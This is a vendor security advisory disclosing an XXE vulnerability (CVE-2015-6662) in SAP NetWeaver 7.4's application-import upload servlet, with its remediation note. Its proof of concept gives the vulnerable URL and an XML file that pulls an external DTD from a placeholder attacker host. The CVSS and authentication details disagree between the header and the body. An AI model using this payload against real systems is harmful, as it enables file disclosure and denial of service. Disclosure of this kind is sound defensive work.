SAP NetWeaver 7.4 XXE Injection

Credit: Roman Bezhan
Risk: High
Local: No
Remote: Yes
CWE: CWE-611

CVSS Base Score: 6.8/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

Application: SAP NetWeaver Versions Affected: SAP NetWeaver 7.4, probably others Vendor URL: Bugs: XML External Entity Send: 16.04.2015 Reported: 16.04.2015 Vendor response: 16.04.2015 Date of Public Advisory: 11.08.2015 Reference: SAP Security Note 2168485 Author: Roman Bezhan (ERPScan) Description 1. ADVISORY INFORMATION Title: SAP NetWeaver 7.4 Advisory ID: [ERPSCAN-15-018] Risk: Hight Advisory URL: Date published: 11.08.2015 Vendors contacted: SAP 2. VULNERABILITY INFORMATION Class: XML External Entity [CWE-611] Impact: information disclosure, denial of service Remotely Exploitable: Yes Locally Exploitable: No CVE Name: CVE-2015-6662 CVSS Information CVSS Base Score: 4.9 / 10 CVSS Base Vector: AV : Access Vector (Related exploit range) Network (N) AC : Access Complexity (Required attack complexity) Medium (M) Au : Authentication (Level of authentication needed to exploit) Single (S) C : Impact to Confidentiality Partial (P) I : Impact to Integrity None (N) A : Impact to Availability Partial (P) 3. VULNERABILITY DESCRIPTION 1) An attacker can read an arbitrary file on the server by sending a correct XML request with a crafted DTD to read the reply from the service. 2) An attacker can perform a DoS attack (for example, an XML Entity expansion attack). 3) An SMB Relay attack is a type of Man-in-the-Middle attack where an attacker asks a victim to authenticate into a machine controlled by the attacker, then relays the credentials to the target. The attacker forwards the authentication information both ways and gets access. 4. VULNERABLE PACKAGES SAP NetWeaver 7.4 Other versions are probably affected too, but they were not checked. 5. SOLUTIONS AND WORKAROUNDS To correct this vulnerability, install SAP Security note 2168485 6. AUTHOR Roman Bezhan (ERPScan) 7. TECHNICAL DESCRIPTION The vulnerability affects the functionality used by an administrator to import applications. An attacker can replace ApplicationDefinition.xml file with a malicious XML code. PoC Vulnerable URL http://IP:50000/irj/servlet/prt/portal/prteventname/upload/prtroot/ Malicious file <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://IP:PORT/"> %remote;]> <root/> 8. REPORT TIMELINE Send: 16.04.2015 Reported: 16.04.2015 Vendor response: 16.04.2015 Date of Public Advisory: 11.08.2015 9. REFERENCES 10. ABOUT ERPScan Research The company?s expertise is based on the research subdivision of ERPScan, which is engaged in vulnerability research and analysis of critical enterprise applications. It has achieved multiple acknowledgments from the largest software vendors like SAP, Oracle, Microsoft, IBM, VMware, HP for discovering more than 400 vulnerabilities in their solutions (200 of them just in SAP!). ERPScan researchers are proud to have exposed new types of vulnerabilities (TOP 10 Web Hacking Techniques 2012) and to be nominated for the best server-side vulnerability at BlackHat 2013. ERPScan experts have been invited to speak, present, and train at 60+ prime international security conferences in 25+ countries across the continents. These include BlackHat, RSA, HITB, and private SAP trainings in several Fortune 2000 companies. ERPScan researchers lead the project EAS-SEC, which is focused on enterprise application security research and awareness. They have published 3 exhaustive annual award-winning surveys about SAP security. ERPScan experts have been interviewed by leading media resources and featured in specialized info-sec publications worldwide. These include Reuters, Yahoo, SC Magazine, The Register, CIO, PC World, DarkReading, Heise, and Chinabyte, to name a few. We have highly qualified experts in staff with experience in many different fields of security, from web applications and mobile/embedded to reverse engineering and ICS/SCADA systems, accumulating their experience to conduct the best SAP security research. 11. ABOUT ERPScan ERPScan is the most respected and credible Business Application Security provider. Founded in 2010, the company operates globally and enables large Oil and Gas, Financial and Retail organizations to secure their mission-critical processes. Named as an ?Emerging Vendor? in Security by CRN, listed among ?TOP 100 SAP Solution providers? and distinguished by 30+ other awards, ERPScan is the leading SAP SE partner in discovering and resolving security vulnerabilities. ERPScan consultants work with SAP SE in Walldorf to assist in improving the security of their latest solutions. ERPScan?s primary mission is to close the gap between technical and business security, and provide solutions to evaluate and secure SAP and Oracle ERP systems and business-critical applications from both, cyber-attacks as well as internal fraud. Usually our clients are large enterprises, Fortune 2000 companies and managed service providers whose requirements are to actively monitor and manage security of vast SAP landscapes on a global scale. We ?follow the sun? and function in two hubs, located in the Palo Alto and Amsterdam to provide threat intelligence services, agile support and operate local offices and partner network spanning 20+ countries around the globe. Adress USA: 228 Hamilton Avenue, Fl. 3, Palo Alto, CA. 94301 Phone: 650.798.5255 Twitter: @erpscan Scoop-it: Business Application Security

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